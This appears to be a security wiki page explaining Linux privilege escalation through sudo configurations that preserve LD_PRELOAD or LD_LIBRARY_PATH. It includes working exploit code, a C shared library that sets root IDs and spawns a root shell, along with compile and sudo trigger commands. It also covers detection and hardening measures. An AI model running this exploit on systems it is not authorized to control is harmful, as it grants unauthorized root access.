LD_PRELOAD and LD_LIBRARY_PATH Privilege Escalation
The Linux dynamic linker (ld.so / ld-linux.so) honors two environment variables that control how shared libraries are located and loaded — and when a privileged process (typically a sudo NOPASSWD command) preserves them, they hand the caller a code-injection primitive into a root-context process. This is one of the classic Linux local privesc paths because the misconfiguration is a single env_keep line in sudoers. 1 2
The two variables
LD_PRELOAD— a colon/space-separated list of shared objects the linker loads before everything else, including before the program’s own dependencies. Functions defined in a preloaded object override the same symbols in the real libraries. This is the cleaner primitive: any function the target calls (or its startup code) can be hijacked.LD_LIBRARY_PATH— a list of directories searched before the default library paths when resolvingDT_NEEDEDdependencies. It doesn’t inject into arbitrary symbols; instead it lets you substitute a whole library by name — so the malicious object must present the same SONAME and the symbols the program actually uses.
The ld.so(8) man page documents both — including the critical caveat that the linker ignores these variables in secure-execution mode (SUID/SGID binaries). That is why the realistic attack surface is sudo, not SUID: sudo resets the environment by default but can be configured with env_keep += "LD_PRELOAD LD_LIBRARY_PATH", which passes the variables straight through to the root-spawned process. sudo -l lists both the permitted commands and any preserved environment variables — see sudo-nopasswd-recon.
Exploiting LD_PRELOAD
The canonical malicious library uses the _init() constructor so code runs the instant the object is loaded, before main():
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD"); /* don't leak into children */
setresuid(0, 0, 0);
system("/bin/bash -p"); /* -p: don't drop euid */
}Compile as a position-independent shared object with no startup files:
gcc -fPIC -shared -nostartfiles \
-o /tmp/malicious.so /tmp/malicious.cTrigger it through any NOPASSWD sudo entry:
sudo LD_PRELOAD=/tmp/malicious.so /usr/bin/any-permitted-program_init() fires as root, setresuid(0,0,0) makes the privilege real, and bash -p yields a root shell. The unsetenv keeps child processes from re-injecting the library recursively.
Exploiting LD_LIBRARY_PATH
The same C code works as a starting point, but the delivery is different: instead of preloading, you name the malicious object after a library the target program links against, and point LD_LIBRARY_PATH at its directory. Use ldd to enumerate the target’s dependencies:
ldd /usr/bin/some-sudo-permitted-program
# libfoo.so.1 => /usr/lib/libfoo.so.1 (...)Pick a library (e.g. libfoo.so.1), compile the payload with that exact SONAME, and run:
sudo LD_LIBRARY_PATH=/tmp/evil /usr/bin/some-sudo-permitted-programThe catch is symbol coverage: the real library’s functions may be called at load time, lazily (via PLT), or not at all depending on execution path. If the program needs symbols your replacement doesn’t define, it crashes instead of escalating — so some trial-and-error in naming and in which functions to define is often required. Some programs also fail because their libraries depend on each other and load order matters.
Portability note: not every Unix-like system uses the name
LD_LIBRARY_PATH— macOS usesDYLD_LIBRARY_PATH(and System Integrity Protection strips it for platform binaries), HP-UX historically usedSHLIB_PATH, and AIX usesLIBPATH. TheLD_PRELOADequivalent on macOS isDYLD_INSERT_LIBRARIES. 3
Defenses
- sudo
env_reset(default) strips both variables; only explicitenv_keepreintroduces them. Auditsudoersforenv_keep += LD_PRELOAD/LD_LIBRARY_PATH. - Secure-execution mode in glibc ignores both variables for SUID/SGID binaries — but not for
sudo-spawned root processes, which is why sudoers hygiene is the real control. - Mount user-writable directories (
/tmp,/dev/shm)noexec,nosuidto complicate payload staging. - Detection:
sudocommand lines containingLD_PRELOAD=/LD_LIBRARY_PATH=(auditd / EID process creation), plus unexpected.sofiles in world-writable directories.
Comparison
| LD_PRELOAD | LD_LIBRARY_PATH | |
|---|---|---|
| Mechanism | Inject object before all others | Substitute a named library via search path |
| Symbol requirement | Any one hijacked symbol (or _init) | Must satisfy the program’s used symbols |
| Reliability | High — constructor fires on load | Fragile — naming and symbol coverage matter |
| Counterpart page | — | — |
The standalone-binary cousin of this technique (compile a full executable that a SUID binary calls via a relative PATH) is documented in suid-shell-executable.
Sources
- ld.so(8) — dynamic linker/loader
- sudoers(5) — default sudo security policy plugin
- Shared Libraries — Program Library HOWTO
Related: sudo-nopasswd-recon, suid-shell-executable, unix-permissions, systemctl-suid-privesc